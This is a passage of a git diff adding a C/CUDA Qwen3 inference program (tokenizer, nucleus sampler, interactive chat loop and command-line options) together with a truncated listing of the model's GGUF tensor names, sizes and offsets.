tb->capacity * sizeof(int)); + if (!tb->data) { perror("realloc"); exit(1); } + } + memcpy(&tb->data[tb->size], tokens, n * sizeof(int)); + tb->size += n; +} + +void encode(Tokenizer* t, char* rendered_prompt, int* prompt_tokens, int* num_prompt_tokens, int multi_turn) { + if (rendered_prompt == NULL) { fprintf(stderr, "cannot encode NULL text\n"); exit(EXIT_FAILURE); } + char *tokens[MAX_TOKENS]; + int count = 0; + + const char *p = rendered_prompt; + + while (*p) { + int match_len = 0; + int special_id = match_special_token(p, &match_len); + if (special_id >= 0) { + // Special token found → store its string + tokens[count++] = strdup(vocab[special_id]); // Store as string, not ID + p += match_len; + continue; + } + + // Not a special token → convert byte to unicode + unsigned char b = *p++; + tokens[count++] = strdup(unicode_bytes[b]); + } + + // === BPE merge === + bool changed = true; + while (changed) { + int best_rank = INT_MAX; + int best_pos = -1; + + for (int i = 0; i < count - 1; i++) { + int rank = get_merge_rank(tokens[i], tokens[i + 1]); + if (rank < best_rank) { + best_rank = rank; + best_pos = i; + } + } + + if (best_pos == -1) break; + + // if either token is a special token, skip merge + if (tokens[best_pos][0] == '<' && strchr(tokens[best_pos], '|') && + tokens[best_pos + 1][0] == '<' && strchr(tokens[best_pos + 1], '|')) { + break; // don't merge special tokens + } + + // Merge + char *merged = (char *) malloc(MAX_TOKEN_LEN * 2); + snprintf(merged, MAX_TOKEN_LEN * 2, "%s%s", tokens[best_pos], tokens[best_pos + 1]); + free(tokens[best_pos]); + free(tokens[best_pos + 1]); + tokens[best_pos] = merged; + for (int i = best_pos + 1; i < count - 1; i++) { + tokens[i] = tokens[i + 1]; + } + count--; + changed = true; + } + + // === Map tokens to token IDs === + int token_ids[MAX_TOKENS]; + int token_id_count = 0; + + for (int i = 0; i < count; i++) { + int id = -1; + for (int j = 0; j < 151936; j++) { + if (strcmp(tokens[i], vocab[j]) == 0) { + id = j; + break; + } + } + + if (id == -1) { + fprintf(stderr, "Token not found in vocab: [%s]\n", tokens[i]); + } else { + token_ids[token_id_count++] = id; + //printf("[%s] → id = %d\n", tokens[i], id); + } + // TODO + for (int i = 0; i < token_id_count; i++) { + prompt_tokens[i] = token_ids[i]; + } + *num_prompt_tokens = token_id_count; + } +} + +// ========== Decoding logic========== +// Inverse byte-to-unicode: utf8 string → byte value (0–255) +int unicode_to_byte(const char *utf8) { + for (int b = 0; b < 256; b++) { + if (strcmp(utf8, unicode_bytes[b]) == 0) + return b; + } + return -1; // not found +} + +char *decode_token_id(int token_id) { + const char *encoded = vocab[token_id]; + char *out = (char *) malloc(1024); + int rlen = 0; + for (int i = 0; encoded[i]; ) { + int matched = 0; + for (int len = 1; len <= 3 && encoded[i + len - 1]; len++) { + char utf8[5] = {0}; + strncpy(utf8, &encoded[i], len); + int b = unicode_to_byte(utf8); + if (b >= 0) { + out[rlen++] = (char)b; + i += len; + matched = 1; + break; + } + } + if (!matched) break; + } + out[rlen] = '\0'; + return out; +} + +// ---------------------------------------------------------------------------- +// The Sampler, which takes logits and returns a sampled token +// sampling can be done in a few ways: greedy argmax, sampling, top-p sampling + +typedef struct { + float prob; + int index; +} ProbIndex; // struct used when sorting probabilities during top-p sampling + +typedef struct { + int vocab_size; + ProbIndex *probindex; // buffer used in top-p sampling + float temperature; + float topp; + unsigned long long rng_state; +} Sampler; + +int sample_argmax(float *probabilities, int n) { + // return the index that has the highest probability + int max_i = 0; + float max_p = probabilities[0]; + for (int i = 1; i < n; i++) { + if (probabilities[i] > max_p) { + max_i = i; + max_p = probabilities[i]; + } + } + return max_i; +} + +int sample_mult(float *probabilities, int n, float coin) { + // sample index from probabilities (they must sum to 1!) + // coin is a random number in [0, 1), usually from random_f32() + float cdf = 0; + for (int i = 0; i < n; i++) { + cdf += probabilities[i]; + if (coin < cdf) + return i; + } + return n - 1; // in case of rounding errors +} + +int compare(const void *a, const void *b) { + ProbIndex *a_ = (ProbIndex *) a; + ProbIndex *b_ = (ProbIndex *) b; + if (a_->prob > b_->prob) return -1; + if (a_->prob < b_->prob) return 1; + return 0; +} + +int sample_topp(float *probabilities, int n, float topp, ProbIndex *probindex, float coin) { + // top-p sampling (or "nucleus sampling") samples from the smallest set of + // tokens that exceed probability topp. This way we never sample tokens that + // have very low probabilities and are less likely to go "off the rails". + // coin is a random number in [0, 1), usually from random_f32() + + int n0 = 0; + // quicksort indices in descending order of probabilities + // values smaller than (1 - topp) / (n - 1) cannot be part of the result + // so for efficiency we crop these out as candidates before sorting + const float cutoff = (1.0f - topp) / (n - 1); + for (int i = 0; i < n; i++) { + if (probabilities[i] >= cutoff) { + probindex[n0].index = i; + probindex[n0].prob = probabilities[i]; + n0++; + } + } + qsort(probindex, n0, sizeof(ProbIndex), compare); + + // truncate the list where cumulative probability exceeds topp + float cumulative_prob = 0; + int last_idx = n0 - 1; // in case of rounding errors consider all elements + for (int i = 0; i < n0; i++) { + cumulative_prob += probindex[i].prob; + if (cumulative_prob > topp) { + last_idx = i; + break; // we've exceeded topp by including last_idx + } + } + + // sample from the truncated list + float r = coin * cumulative_prob; + float cdf = 0; + for (int i = 0; i <= last_idx; i++) { + cdf += probindex[i].prob; + if (r < cdf) + return probindex[i].index; + } + return probindex[last_idx].index; // in case of rounding errors +} + +void build_sampler(Sampler* sampler, int vocab_size, float temperature, float topp, unsigned long long rng_seed) { + sampler->vocab_size = vocab_size; + sampler->temperature = temperature; + sampler->topp = topp; + sampler->rng_state = rng_seed; + // buffer only used with nucleus sampling; may not need but it's ~small + sampler->probindex = (ProbIndex *) malloc(sampler->vocab_size * sizeof(ProbIndex)); +} + +void free_sampler(Sampler* sampler) { + free(sampler->probindex); +} + +unsigned int random_u32(unsigned long long *state) { + // xorshift rng: https://en.wikipedia.org/wiki/Xorshift#xorshift.2A + *state ^= *state >> 12; + *state ^= *state << 25; + *state ^= *state >> 27; + return (*state * 0x2545F4914F6CDD1Dull) >> 32; +} +float random_f32(unsigned long long *state) { // random float32 in [0,1) + return (random_u32(state) >> 8) / 16777216.0f; +} + +int sample(Sampler* sampler, float* logits) { + // sample the token given the logits and some hyperparameters + int next; + if (sampler->temperature == 0.0f) { + // greedy argmax sampling: take the token with the highest probability + next = sample_argmax(logits, sampler->vocab_size); + } else { + // apply the temperature to the logits + for (int q=0; qvocab_size; q++) { logits[q] /= sampler->temperature; } + // apply softmax to the logits to get the probabilities for next token + softmax(logits, sampler->vocab_size); + // flip a (float) coin (this is our source of entropy for sampling) + float coin = random_f32(&sampler->rng_state); + // we sample from this distribution to get the next token + if (sampler->topp <= 0 || sampler->topp >= 1) { + // simply sample from the predicted probability distribution + next = sample_mult(logits, sampler->vocab_size, coin); + } else { + // top-p (nucleus) sampling, clamping the least likely tokens to zero + next = sample_topp(logits, sampler->vocab_size, sampler->topp, sampler->probindex, coin); + } + } + return next; +} + +// ---------------------------------------------------------------------------- +// utilities: time +long time_in_ms() { + // return time in milliseconds, for benchmarking the model speed + struct timespec time; + clock_gettime(CLOCK_REALTIME, &time); + return time.tv_sec * 1000 + time.tv_nsec / 1000000; +} + +// ------------------------------------------------------------------------ +// read input +void read_stdin(const char* guide, char* buffer, size_t bufsize) { + // read a line from stdin, up to but not including \n + printf("%s", guide); + if (fgets(buffer, bufsize, stdin) != NULL) { + size_t len = strlen(buffer); + if (len > 0 && buffer[len - 1] == '\n') { + buffer[len - 1] = '\0'; + } + } +} + +// ---------------------------------------------------------------------------- +// chat loop +void chat(Transformer* transformer, Tokenizer* tokenizer, Sampler* sampler, char* cli_user_prompt, char* cli_system_prompt, int think_on, int multi_turn, int tps, TokenBuffer* tb, int single_prompt) { + // buffers for reading the system prompt and user prompt from stdin + char system_prompt[512]; + char user_prompt[8192]; + char rendered_prompt[8192]; + int num_prompt_tokens = 0; + int* prompt_tokens = (int* )malloc(8192 * sizeof(int)); + //int user_idx; + + // start the main loop + int8_t user_turn = 1; // user starts + int next; // will store the next token in the sequence + int token; // stores the current token to feed into the transformer + //int prev_token; + int pos = 0; // position in the sequence + double timer = -1.0; // TPS timer start + int count = 0; // decoded token + + while (1) { + if (user_turn) { + if (pos == 0){ + if (!single_prompt) { + read_stdin("Enter system prompt (or Enter to skip): ", system_prompt, sizeof(system_prompt)); + } else { + system_prompt[0] = '\0'; + } + } + if (!single_prompt) { + read_stdin("Q: ", user_prompt, sizeof(user_prompt)); + } else { + if (cli_user_prompt) { + strncpy(user_prompt, cli_user_prompt, sizeof(user_prompt) - 1); + user_prompt[sizeof(user_prompt) - 1] = '\0'; + } else { + user_prompt[0] = '\0'; + } + } + // terminate if user enters a blank prompt + if (!user_prompt[0]) { + break; + } + + // render user/system prompts for Qwen3 + if (pos == 0 && system_prompt[0] != '\0') { + char system_template[] = "<|im_start|>system\n%s<|im_end|>\n<|im_start|>user\n%s<|im_end|>\n<|im_start|>assistant\n"; + sprintf(rendered_prompt, system_template, system_prompt, user_prompt); + } else { + char user_template[] = "<|im_start|>user\n%s<|im_end|>\n<|im_start|>assistant\n"; + sprintf(rendered_prompt, user_template, user_prompt); + } + + if (!think_on) { + strcat(rendered_prompt, "\n\n\n"); + } + + // encode the rendered prompt into tokens + encode(tokenizer, rendered_prompt, prompt_tokens, &num_prompt_tokens, multi_turn); + pos = 0; // reset the user index + user_turn = 0; + if (multi_turn) { + append_tokens(tb, prompt_tokens, num_prompt_tokens); + for (size_t i = 0; i < tb->size; i++) { + // printf("%d ", tb->data[i]); + } + printf("\n"); + } + printf("A: "); + } + + if (pos < (multi_turn ? tb->size : num_prompt_tokens)) { + token = (multi_turn) ? tb->data[pos] : prompt_tokens[pos]; + } else { + token = next; + } + //printf("right before foreward: %d\n", token); + // forward the transformer to get logits for the next token + float* logits = forward(transformer, token, pos); + next = sample(sampler, logits); + + pos++; + //printf("num_prompt_tokens: %d \n", num_prompt_tokens); + // decoding and printing + if (pos >= (multi_turn ? tb->size : num_prompt_tokens)) { + if (multi_turn) { + append_tokens(tb, &next, 1); + //printf("next token: %d\n", next); + } + + if (next == 151645) { // EOS token ID - TODO + printf("\n"); + user_turn = 1; + + // TPS + if (tps) { + fprintf(stderr, "tok/s: %f\n", count / (double)(time_in_ms() - timer) * 1000); + timer = -1; + count = 0; + } + + // Exit after single prompt + if (single_prompt) { + break; + } + } + else { + char *decoded = decode_token_id(next); + printf("%s", decoded); + fflush(stdout); + free(decoded); + + if (tps) { + count += 1; + // timer starts after the first token generation + if (timer == -1.0) {timer = time_in_ms();} + } + } + } + } +} + +// ---------------------------------------------------------------------------- +// CLI +void error_usage() { + fprintf(stderr, "Usage: run [options]\n"); + fprintf(stderr, "Example: ./run Qwen3-0.6B-FP32.gguf\n"); + fprintf(stderr, " ./run Qwen3-0.6B-FP32.gguf -q \"What is CUDA?\"\n"); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -t temperature in [0,inf], default 0.6\n"); + fprintf(stderr, " -p p value in top-p (nucleus) sampling in [0,1] default 0.95\n"); + fprintf(stderr, " -s random seed, default time(NULL)\n"); + fprintf(stderr, " -m multi-turn: 0 = off (defualt), 1 = on\n"); + fprintf(stderr, " -k reasoning: 0 = off (defualt), 1 = on\n"); + fprintf(stderr, " -r TPS: 0 = off (defualt), 1 = on\n"); + fprintf(stderr, " -q single prompt mode (run once and exit)\n"); + exit(EXIT_FAILURE); +} + + +int main(int argc, char *argv[]) { + // default parameters + char *checkpoint_path = NULL; // e.g. out/model.bin + float temperature = 0.6f; // 0.0 = greedy deterministic. 1.0 = original. don't set higher + float topp = 0.95f; // top-p in nucleus sampling. 1.0 = off. 0.9 works well, but slower + int steps = 256; // number of steps to run for + char *prompt = NULL; // prompt string + unsigned long long rng_seed = 0; // seed rng with time by default + char *system_prompt = NULL; // the (optional) system prompt to use in chat mode + int multi_turn = 0; // multi-turn conversation + int think_on = 0; // reasoning on + int tps = 0; // TPS + int single_prompt = 0; // single prompt mode + + if (argc >= 2) { checkpoint_path = argv[1]; } else { error_usage(); } + for (int i = 2; i < argc; i+=2) { + // do some basic validation + if (i + 1 >= argc) { error_usage(); } // must have arg after flag + if (argv[i][0] != '-') { error_usage(); } // must start with dash + if (strlen(argv[i]) != 2) { error_usage(); } // must be -x (one dash, one letter) + // read in the args + if (argv[i][1] == 't') { temperature = atof(argv[i + 1]); } + else if (argv[i][1] == 'p') { topp = atof(argv[i + 1]); } + else if (argv[i][1] == 's') { rng_seed = atoi(argv[i + 1]); } + else if (argv[i][1] == 'q') { prompt = argv[i + 1]; single_prompt = 1; } + else if (argv[i][1] == 'm') {if ((argv[i+1][0] == '0' || argv[i+1][0] == '1') && argv[i+1][1] == '\0') { + multi_turn = argv[i+1][0] - '0';} else { error_usage(); } } + else if (argv[i][1] == 'k') {if ((argv[i+1][0] == '0' || argv[i+1][0] == '1') && argv[i+1][1] == '\0') { + think_on = argv[i+1][0] - '0';} else { error_usage(); } } + else if (argv[i][1] == 'r') {if ((argv[i+1][0] == '0' || argv[i+1][0] == '1') && argv[i+1][1] == '\0') { + tps = argv[i+1][0] - '0';} else { error_usage(); } } + else { error_usage(); } + } + + // parameter validation/overrides + if (rng_seed <= 0) rng_seed = (unsigned int)time(NULL); + if (temperature < 0.0) temperature = 0.0; + if (topp < 0.0 || 1.0 < topp) topp = 0.9; + if (steps < 0) steps = 0; + + // read config + Transformer transformer; + load_config(&transformer); + + // build the Transformer via the GGUF file + build_transformer(&transformer, checkpoint_path); + + // build the Tokenizer + Tokenizer tokenizer; + build_tokenizer(&tokenizer); + + // multi-turn buffer + TokenBuffer tb; + build_token_buffer(&tb, 1024); + + Sampler sampler; + build_sampler(&sampler, transformer.config.vocab_size, temperature, topp, rng_seed); + + #ifdef USE_CUBLAS + // cuBlas handle + create_cublas_handle(); + #endif + + if (!single_prompt) { + printf("Multi-turn = %s, thinKing = %s, tps(R) = %s, Temperature = %.2f, top-P = %.2f\n", multi_turn ? "on" : "off", think_on ? "on" : "off", tps ? "on" : "off", temperature, topp); + printf("Press Enter to exit the chat\n"); + } + + // run! + chat(&transformer, &tokenizer, &sampler, prompt, system_prompt, think_on, multi_turn, tps, &tb, single_prompt); + + // memory and file handles cleanup + free_sampler(&sampler); + free_vocab(); + free_token_buffer(&tb); + free_transformer(&transformer); + + #ifdef USE_CUBLAS + destroy_cublas_handle(); + #endif + + return 0; +} diff --git a/src/xpu/flamegraph/qwen3.cu/tensor_info.txt b/src/xpu/flamegraph/qwen3.cu/tensor_info.txt new file mode 100644 index 00000000..85d4be07 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/tensor_info.txt @@ -0,0 +1,311 @@ +tensor[0]: name = output.weight, size = 622329856, offset = 0 +tensor[1]: name = output_norm.weight, size = 4096, offset = 622329856 +tensor[2]: name = token_embd.weight, size = 622329856, offset = 622333952 +tensor[3]: name = blk.0.attn_k.weight, size = 4194304, offset = 1244663808 +tensor[4]: name = blk.0.attn_k_norm.weight, size = 512, offset = 1248858112 +tensor[5]: name = blk.0.attn_norm.weight, size = 4096, offset = 1248858624 +tensor[6]: name = blk.0.attn_output.weight, size = 8388608, offset = 1248862720 +tensor[7]: name = blk.0.attn_q.weight, size = 8388608, offset = 1257251328 +tensor[8]: name = blk.0.attn_q_norm.weight, size = 512, offset = 1265639936 +tensor[9]: name = blk.0.attn_v.weight, size = 4194304, offset = 1265640448 +tensor[10]: name = blk.0.ffn_down.weight, size = 12582912, offset = 1269834752 +tensor[11]: name = blk.0.ffn_gate.weight, size = 12582912, offset = 1282417664 +tensor[12]: name = blk.0.ffn_norm.weight, size = 4096, offset = 1295000576 +tensor[13]: name = blk.0.ffn_up.weight, size = 12582912, offset = 1295004672 +tensor[14]: name = blk.1.attn_k.weight, size = 4194304, offset = 1307587584 +tensor[15]: name = blk.1.attn_k_norm.weight, size = 512, offset = 1311781888 +tensor[16]: name = blk.1.attn_norm.weight, size = 4096, offset = 1311782400 +tensor[17]: name = blk.1.attn_output.weight, size = 8388608, offset = 1311786496 +tensor[18]: name = blk.1.attn_q.weight, size = 8388608, offset = 1320175104 +tensor[19]: name = blk.1.attn_q_norm.weight, size = 512, offset = 1328563712 +tensor[20]: name = blk.1.attn_v.weight, size = 4194304, offset = 1328564224 +tensor[21]: name = blk.1.ffn_down.weight, size = 12582912, offset = 1332758528 +tensor[22]: name = blk.1.ffn_gate.weight, size = 12582912, offset = 1345341440 +tensor[23]: name = blk.1.ffn_norm.weight, size = 4096, offset = 1357924352 +tensor[24]: name = blk.1.ffn_up.weight, size = 12582912, offset = 1357928448 +tensor[25]: name = blk.2.attn_k.weight, size = 4194304, offset = 1370511360 +tensor[26]: name = blk.2.attn_k_norm.weight, size = 512, offset = 1374705664 +tensor[27]: name = blk.2.attn_norm.weight, size = 4096, offset = 1374706176 +tensor[28]: name = blk.2.attn_output.weight, size = 8388608, offset = 1374710272 +tensor[29]: name = blk.2.attn_q.weight, size = 8388608, offset = 1383098880 +tensor[30]: name = blk.2.attn_q_norm.weight, size = 512, offset = 1391487488 +tensor[31]: name = blk.2.attn_v.weight, size = 4194304, offset = 1391488000 +tensor[32]: name = blk.2.ffn_down.weight, size = 12582912, offset = 1395682304 +tensor[33]: name = blk.2.ffn_gate.weight, size = 12582912, offset = 1408265216 +tensor[34]: name = blk.2.ffn_norm.weight, size = 4096, offset = 1420848128 +tensor[35]: name = blk.2.ffn_up.weight, size = 12582912, offset = 1420852224 +tensor[36]: name = blk.3.attn_k.weight, size = 4194304, offset = 1433435136 +tensor[37]: name = blk.3.attn_k_norm.weight, size = 512, offset = 1437629440 +tensor[38]: name = blk.3.attn_norm.weight, size = 4096, offset = 1437629952 +tensor[39]: name = blk.3.attn_output.weight, size = 8388608, offset = 1437634048 +tensor[40]: name = blk.3.attn_q.weight, size = 8388608, offset = 1446022656 +tensor[41]: name = blk.3.attn_q_norm.weight, size = 512, offset = 1454411264 +tensor[42]: name = blk.3.attn_v.weight, size = 4194304, offset = 1454411776 +tensor[43]: name = blk.3.ffn_down.weight, size = 12582912, offset = 1458606080 +tensor[44]: name = blk.3.ffn_gate.weight, size = 12582912, offset = 1471188992 +tensor[45]: name = blk.3.ffn_norm.weight, size = 4096, offset = 1483771904 +tensor[46]: name = blk.3.ffn_up.weight, size = 12582912, offset = 1483776000 +tensor[47]: name = blk.4.attn_k.weight, size = 4194304, offset = 1496358912 +tensor[48]: name = blk.4.attn_k_norm.weight, size = 512, offset = 1500553216 +tensor[49]: name = blk.4.attn_norm.weight, size = 4096, offset = 1500553728 +tensor[50]: name = blk.4.attn_output.weight, size = 8388608, offset = 1500557824 +tensor[51]: name = blk.4.attn_q.weight, size = 8388608, offset = 1508946432 +tensor[52]: name = blk.4.attn_q_norm.weight, size = 512, offset = 1517335040 +tensor[53]: name = blk.4.attn_v.weight, size = 4194304, offset = 1517335552 +tensor[54]: name = blk.4.ffn_down.weight, size = 12582912, offset = 1521529856 +tensor[55]: name = blk.4.ffn_gate.weight, size = 12582912, offset = 1534112768 +tensor[56]: name = blk.4.ffn_norm.weight, size = 4096, offset = 1546695680 +tensor[57]: name = blk.4.ffn_up.weight, size = 12582912, offset = 1546699776 +tensor[58]: name = blk.5.attn_k.weight, size = 4194304, offset = 1559282688 +tensor[59]: name = blk.5.attn_k_norm.weight, size = 512, offset = 1563476992 +tensor[60]: name = blk.5.attn_norm.weight, size = 4096, offset = 1563477504 +tensor[61]: name = blk.5.attn_output.weight, size = 8388608, offset = 1563481600 +tensor[62]: name = blk.5.attn_q.weight, size = 8388608, offset = 1571870208 +tensor[63]: name = blk.5.attn_q_norm.weight, size = 512, offset = 1580258816 +tensor[64]: name = blk.5.attn_v.weight, size = 4194304, offset = 1580259328 +tensor[65]: name = blk.5.ffn_down.weight, size = 12582912, offset = 1584453632 +tensor[66]: name = blk.5.ffn_gate.weight, size = 12582912, offset = 1597036544 +tensor[67]: name = blk.5.ffn_norm.weight, size = 4096, offset = 1609619456 +tensor[68]: name = blk.5.ffn_up.weight, size = 12582912, offset = 1609623552 +tensor[69]: name = blk.6.attn_k.weight, size = 4194304, offset = 1622206464 +tensor[70]: name = blk.6.attn_k_norm.weight, size = 512, offset = 1626400768 +tensor[71]: name = blk.6.attn_norm.weight, size = 4096, offset = 1626401280 +tensor[72]: name = blk.6.attn_output.weight, size = 8388608, offset = 1626405376 +tensor[73]: name = blk.6.attn_q.weight, size = 8388608, offset = 1634793984 +tensor[74]: name = blk.6.attn_q_norm.weight, size = 512, offset = 1643182592 +tensor[75]: name = blk.6.attn_v.weight, size = 4194304, offset = 1643183104 +tensor[76]: name = blk.6.ffn_down.weight, size = 12582912, offset = 1647377408 +tensor[77]: name = blk.6.ffn_gate.weight, size = 12582912, offset = 1659960320 +tensor[78]: name = blk.6.ffn_norm.weight, size = 4096, offset = 1672543232 +tensor[79]: name = blk.6.ffn_up.weight, size = 12582912, offset = 1672547328 +tensor[80]: name = blk.7.attn_k.weight, size = 4194304, offset = 1685130240 +tensor[81]: name = blk.7.attn_k_norm.weight, size = 512, offset = 1689324544 +tensor[82]: name = blk.7.attn_norm.weight, size = 4096, offset = 1689325056 +tensor[83]: name = blk.7.attn_output.weight, size = 8388608, offset = 1689329152 +tensor[84]: name = blk.7.attn_q.weight, size = 8388608, offset = 1697717760 +tensor[85]: name = blk.7.attn_q_norm.weight, size = 512, offset = 1706106368 +tensor[86]: name = blk.7.attn_v.weight, size = 4194304, offset = 1706106880 +tensor[87]: name = blk.7.ffn_down.weight, size = 12582912, offset = 1710301184 +tensor[88]: name = blk.7.ffn_gate.weight, size = 12582912, offset = 1722884096 +tensor[89]: name = blk.7.ffn_norm.weight, size = 4096, offset = 1735467008 +tensor[90]: name = blk.7.ffn_up.weight, size = 12582912, offset = 1735471104 +tensor[91]: name = blk.8.attn_k.weight, size = 4194304, offset = 1748054016 +tensor[92]: name = blk.8.attn_k_norm.weight, size = 512, offset = 1752248320 +tensor[93]: name = blk.8.attn_norm.weight, size = 4096, offset = 1752248832 +tensor[94]: name = blk.8.attn_output.weight, size = 8388608, offset = 1752252928 +tensor[95]: name = blk.8.attn_q.weight, size = 8388608, offset = 1760641536 +tensor[96]: name = blk.8.attn_q_norm.weight, size = 512, offset = 1769030144 +tensor[97]: name = blk.8.attn_v.weight, size = 4194304, offset = 1769030656 +tensor[98]: name = blk.8.ffn_down.weight, size = 12582912, offset = 1773224960 +tensor[99]: name = blk.8.ffn_gate.weight, size = 12582912, offset = 1785807872 +tensor[100]: name = blk.8.ffn_norm.weight, size = 4096, offset = 1798390784 +tensor[101]: name = blk.8.ffn_up.weight, size = 12582912, offset = 1798394880 +tensor[102]: name = blk.9.attn_k.weight, size = 4194304, offset = 1810977792 +tensor[103]: name = blk.9.attn_k_norm.weight, size = 512, offset = 1815172096 +tensor[104]: name = blk.9.attn_norm.weight, size = 4096, offset = 1815172608 +tensor[105]: name = blk.9.attn_output.weight, size = 8388608, offset = 1815176704 +tensor[106]: name = blk.9.attn_q.weight, size = 8388608, offset = 1823565312 +tensor[107]: name = blk.9.attn_q_norm.weight, size = 512, offset = 1831953920 +tensor[108]: name = blk.9.attn_v.weight, size = 4194304, offset = 1831954432 +tensor[109]: name = blk.9.ffn_down.weight, size = 12582912, offset = 1836148736 +tensor[110]: name = blk.9.ffn_gate.weight, size = 12582912, offset = 1848731648 +tensor[111]: name = blk.9.ffn_norm.weight, size = 4096, offset = 1861314560 +tensor[112]: name = blk.9.ffn_up.weight, size = 12582912, offset = 1861318656 +tensor[113]: name = blk.10.attn_k.weight, size = 4194304, offset = 1873901568 +tensor[114]: name = blk.10.attn_k_norm.weight, size = 512, offset = 1878095872 +tensor[115]: name = blk.10.attn_norm.weight, size = 4096, offset = 1878096384 +tensor[116]: name = blk.10.attn_output.weight, size = 8388608, offset = 1878100480 +tensor[117]: name = blk.10.attn_q.weight, size = 8388608, offset = 1886489088 +tensor[118]: name = blk.10.attn_q_norm.weight, size = 512, offset = 1894877696 +tensor[119]: name = blk.10.attn_v.weight, size = 4194304, offset = 1894878208 +tensor[120]: name = blk.10.ffn_down.weight, size = 12582912, offset = 1899072512 +tensor[121]: name = blk.10.ffn_gate.weight, size = 12582912, offset = 1911655424 +tensor[122]: name = blk.10.ffn_norm.weight, size = 4096, offset = 1924238336 +tensor[123]: name = blk.10.ffn_up.weight, size = 12582912, offset = 1924242432 +tensor[124]: name = blk.11.attn_k.weight, size = 4194304, offset = 1936825344 +tensor[125]: name = blk.11.attn_k_norm.weight, size = 512, offset = 1941019648 +tensor[126]: name = blk.11.attn_norm.weight, size = 4096, offset = 1941020160 +tensor[127]: name = blk.11.attn_output.weight, size = 8388608, offset = 1941024256 +tensor[128]: name = blk.11.attn_q.weight, size = 8388608, offset = 1949412864 +tensor[129]: name = blk.11.attn_q_norm.weight, size = 512, offset = 1957801472 +tensor[130]: name = blk.11.attn_v.weight, size = 4194304, offset = 1957801984 +tensor[131]: name = blk.11.ffn_down.weight, size = 12582912, offset = 1961996288 +tensor[132]: name = blk.11.ffn_gate.weight, size = 12582912, offset = 1974579200 +tensor[133]: name = blk.11.ffn_norm.weight, size = 4096, offset = 1987162112 +tensor[134]: name = blk.11.ffn_up.weight, size = 12582912, offset = 1987166208 +tensor[135]: name = blk.12.attn_k.weight, size = 4194304, offset = 1999749120 +tensor[136]: name = blk.12.attn_k_norm.weight, size = 512, offset = 2003943424 +tensor[137]: name = blk.12.attn_norm.weight, size = 4096, offset = 2003943936 +tensor[138]: name = blk.12.attn_output.weight, size = 8388608, offset = 2003948032 +tensor[139]: name = blk.12.attn_q.weight, size = 8388608, offset = 2012336640 +tensor[140]: name = blk.12.attn_q_norm.weight, size = 512, offset = 2020725248 +tensor[141]: name = blk.12.attn_v.weight, size = 4194304, offset = 2020725760 +tensor[142]: name = blk.12.ffn_down.weight, size = 12582912, offset = 2024920064 +tensor[143]: name = blk.12.ffn_gate.weight, size = 12582912, offset = 2037502976 +tensor[144]: name = blk.12.ffn_norm.weight, size = 4096, offset = 2050085888 +tensor[145]: name = blk.12.ffn_up.weight, size = 12582912, offset = 2050089984 +tensor[146]: name = blk.13.attn_k.weight, size = 4194304, offset = 2062672896 +tensor[147]: name = blk.13.attn_k_norm.weight, size = 512, offset = 2066867200 +tensor[148]: name = blk.13.attn_norm.weight, size = 4096, offset = 2066867712 +tensor[149]: name = blk.13.attn_output.weight, size = 8388608, offset = 2066871808 +tensor[150]: name = blk.13.attn_q.weight, size = 8388608, offset = 2075260416 +tensor[151]: name = blk.13.attn_q_norm.weight, size = 512, offset = 2083649024 +tensor[152]: name = blk.13.attn_v.weight, size = 4194304, offset = 2083649536 +tensor[153]: name = blk.13.ffn_down.weight, size = 12582912, offset = 2087843840 +tensor[154]: name = blk.13.ffn_gate.weight, size = 12582912, offset = 2100426752 +tensor[155]: name = blk.13.ffn_norm.weight, size = 4096, offset = 2113009664 +tensor[156]: name = blk.13.ffn_up.weight, size = 12582912, offset = 2113013760 +tensor[157]: name = blk.14.attn_k.weight, size = 4194304, offset = 2125596672 +tensor[158]: name = blk.14.attn_k_norm.weight, size = 512, offset = 2129790976 +tensor[159]: name = blk.14.attn_norm.weight, size = 4096, offset = 2129791488 +tensor[160]: name = blk.14.attn_output.weight, size = 8388608, offset = 2129795584 +tensor[161]: name = blk.14.attn_q.weight, size = 8388608, offset = 2138184192 +tensor[162]: name = blk.14.attn_q_norm.weight, size = 512, offset = 2146572800 +tensor[163]: name = blk.14.attn_v.weight, size = 4194304, offset = 2146573312 +tensor[164]: name = blk.14.ffn_down.weight, size = 12582912, offset = 2150767616 +tensor[165]: name = blk.14.ffn_gate.weight, size = 12582912, offset = 2163350528 +tensor[166]: name = blk.14.ffn_norm.weight, size = 4096, offset = 2175933440 +tensor[167]: name = blk.14.ffn_up.weight, size = 12582912, offset = 2175937536 +tensor[168]: name = blk.15.attn_k.weight, size = 4194304, offset = 2188520448 +tensor[169]: name = blk.15.attn_k_norm.weight, size = 512, offset = 2192714752 +tensor[170]: name = blk.15.attn_norm.weight, size = 4096, offset = 2192715264 +tensor[171]: name = blk.15.attn_output.weight, size = 8388608, offset = 2192719360 +tensor[172]: name = blk.15.attn_q.weight, size = 8388608, offset = 2201107968 +tensor[173]: name = blk.15.attn_q_norm.weight, size = 512, offset = 2209496576 +tensor[174]: name = blk.15.attn_v.weight, size = 4194304, offset = 2209497088 +tensor[175]: name = blk.15.ffn_down.weight, size = 12582912, offset = 2213691392 +tensor[176]: name = blk.15.ffn_gate.weight, size = 12582912, offset = 2226274304 +tensor[177]: name = blk.15.ffn_norm.weight, size = 4096, offset = 2238857216 +tensor[178]: name = blk.15.ffn_up.weight, size = 12582912, offset = 2238861312 +tensor[179]: name = blk.16.attn_k.weight, size = 4194304, offset = 2251444224 +tensor[180]: name = blk.16.attn_k_norm.weight, size = 512, offset = 2255638528 +tensor[181]: name = blk.16.attn_norm.weight, size = 4096, offset = 2255639040 +tensor[182]: name = blk.16.attn_output.weight, size = 8388608, offset = 2255643136 +tensor[183]: name = blk.16.attn_q.weight, size = 8388608, offset = 2264031744 +tensor[184]: name = blk.16.attn_q_norm.weight, size = 512, offset = 2272420352 +tensor[185]: name = blk.16.attn_v.weight, size = 4194304, offset = 2272420864 +tensor[186]: name = blk.16.ffn_down.weight, size = 12582912, offset = 2276615168 +tensor[187]: name = blk.16.ffn_gate.weight, size = 12582912, offset = 2289198080 +tensor[188]: name = blk.16.ffn_norm.weight, size = 4096, offset = 2301780992 +tensor[189]: name = blk.16.ffn_up.weight, size = 12582912, offset = 2301785088 +tensor[190]: name = blk.17.attn_k.weight, size = 4194304, offset = 2314368000 +tensor[191]: name = blk.17.attn_k_norm.weight, size = 512, offset = 2318562304 +tensor[192]: name = blk.17.attn_norm.weight, size = 4096, offset = 2318562816 +tensor[193]: name = blk.17.attn_output.weight, size = 8388608, offset = 2318566912 +tensor[194]: name = 